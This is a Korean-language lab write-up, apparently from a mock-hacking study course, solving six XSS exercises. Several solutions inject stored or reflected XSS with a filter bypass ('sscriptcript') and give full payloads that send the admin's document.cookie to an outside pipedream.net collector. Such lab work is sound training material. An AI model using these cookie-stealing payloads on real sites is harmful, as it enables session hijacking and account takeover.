

👉 9주차 Write-up XSS1 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss1
1. 공지사항 게시판의 title부분에는 Stored XSS 취약점이 존재함
→ title부분에 사용자의 쿠키를 탈취하여 내 서버로 전송하는 스크립트가 실행되도록 만들자.
‣ create_title 파라미터
‣ create_content 파라미터 → content
2. 공지사항 글 게시하기 → 게시글 클릭 → 게시글 URL주소 복사
3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭
4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!

👉 9주차 Write-up XSS2 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss2
1. 공지사항 검색란에 Reflected XSS 취약점이 존재함 (9주차 Write-up 참고하세요)
‣title검색
➡️ 검색한 문자열(title)이 alert 함수의 인자로 직접 삽입되는 구조이다.
2. 스크립트 구조를 이용하여 공격자 서버로 관리자의 쿠키를 전송해보자.
‣ Request (요청)
↳ 기존의 POST 방식에서 GET방식으로 변경!
↳ Copy URL
3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭
✔️ 관리자의 쿠키가 공격자의 서버로 전송됨 → 쿠키 탈취 성공 !

👉 9주차 Write-up XSS3 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss3
1. 마이페이지에 Reflected XSS 취약점이 존재함 (9주차 Write-up 참고하세요)
➡️user라는 URL 파라미터 값을 바탕으로placeholder값을 동적으로 바꿔서 출력하는 구조이다.
💡구조
2. URL 파라미터
user의 값을 user01으로 바꿔서placeholder값도 user01으로 바꿔보고,
<script></script>를 추가하여, 관리자의 쿠키를 공격자 서버로 보내는 스크립트를 작성해보자.
‣ Request (요청)
↳ Copy URL
3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭
4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!

👉 9주차 Write-up XSS4 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss4
1. 공지사항의 제목입력란, 내용입력란에서 Stored XSS 취약점이 존재함 (9주차 Write-up 참고하세요)
➡️script문자열이 필터링되기 때문에,
중간에 문자를 끼워 넣어서 우회하자!
(대소문자 혼용해도 필터링 됨)
➡️alert문자열이 필터링되기 때문에,
중간에 문자를 끼워 넣어서 우회하자!
(대소문자 혼용하면 필터링 X)
2. 필터링을 우회하여 관리자의 쿠키를 공격자 서버에 전송해보자.
- 공지사항의 제목입력란 (
create_title파라미터 )
➡️ script 필터링 우회하기 + 관리자 쿠키를 공격자 서버에 전송<sscriptcript> var cookieData = document.cookie; var i = new Image(); i.src = "https://eouba8urppdii4w.m.pipedream.net/?cookie=".concat(cookieData); </sscriptcript>
create_title파라미터의 위처럼 값을 변경하고 send했지만, 파라미터의 값이 너무 길다는 응답을 받음.
➡️create_title파리미터 길이의 제한 O
💁♀️ 내용입력란의create_body파라미터에 공격 스크립트를 작성해서 전송해야할 것 같다.
- 공지사항의 내용입력란 (
create_ content파라미터 )
➡️ script 필터링 우회하기 + 관리자 쿠키를 공격자 서버에 전송<sscriptcript> var cookieData = document.cookie; var i = new Image(); i.src = "https://eouba8urppdii4w.m.pipedream.net/?cookie=".concat(cookieData); </sscriptcript>
➡️create_body파라미터에 의해 내가 작성한 스크립트가 잘 전달되었음을 확인할 수 있다.
➡️ Copy URL
3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭
4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!

👉 9주차 Write-up XSS5 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss5
1. 공지사항의 내용입력란에서 Stored XSS 취약점이 존재함 (9주차 Write-up 참고하세요)
➡️ title부분은 HTML Entity처리가 되어서 XSS 공격이 힘들지만,
➡️ content부분은 HTML Entity가 적용되어 있지 않아서 XSS 공격이 가능
➡️ content 부분은 HTML Entity 적용되지 않아서, 스크립트 실행가능함.
➡️ 또한<,',",>,<script>,</script>가 필터링 되지 않음!
2.
create_body에 관리자의 쿠키를 공격자 서버에 전송하는 스크립트를 작성하여 게시글에 저장하자.
‣ create_title : title
‣ create_body:<script> var cookieData = document.cookie; var i = new Image(); i.src = "https://eouba8urppdii4w.m.pipedream.net/?cookie=".concat(cookieData); </script>
➡️create_body파라미터에 의해 내가 작성한 스크립트가 잘 전달되었음을 확인할 수 있다.
➡️ Copy URL
3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭
4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!

👉 9주차 Write-up XSS6 참고하기
https://velog.io/@containerxox/Normaltic-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%B7%A8%EC%97%85%EB%B0%98-%EC%8A%A4%ED%84%B0%EB%94%94-8%EA%B8%B0-9%EC%A3%BC%EC%B0%A8#%EF%B8%8F-xss6
1. 로그인페이지에서 존재하지 않는 계정으로 로그인하게 될 때, Reflected XSS 취약점이 존재함 (9주차 Write-up 참고하세요)
① 공지사항 게시글 작성
: 공지사항 게시글 작성의 title부분, content부분 둘 다 HTML Entity 처리됨
→ XSS 취약점 찾기 힘듦.
② 공지사항의 검색
: 검색한 문자열이 alert함수의 인자로 직접 삽입되는 구조가 X
→ XSS 취약점 찾기 힘듦.
③ 마이페이지
: 개인정보를 수정하려고 입력한 문자열이 alert 함수의 인자로 직접 삽입되는 구조 X
→ XSS 취약점 찾기 힘듦.
③ 로그인 페이지(✔️)
: 존재하지 않는 계정으로 로그인 시도 ( id: test, pw: test1234 )
→[test] 등록되지 않은 사용자입니다.라는 알림창이 뜸.
→ 사용자가 입력한 email 값을 alert 인자에 삽입하여 출력되고 있다!
→ Reflectedd XSS 취약점 존재할 가능성 有!
➡️ 구조
2. 존재하지 않는 계정으로 로그인 시도 하되,
id파라미터의 값은 아래처럼 작성하여 전송하자.
➡️document.location.href: 다른 URL로 이동시킴
➡️//주석처리
3. 해당 페이지 접속 → 복사한 URL 붙여넣기 → Visit 클릭
4. 관리자의 쿠키가 공격자의 서버로 전송됨! → 쿠키 탈취 성공 !!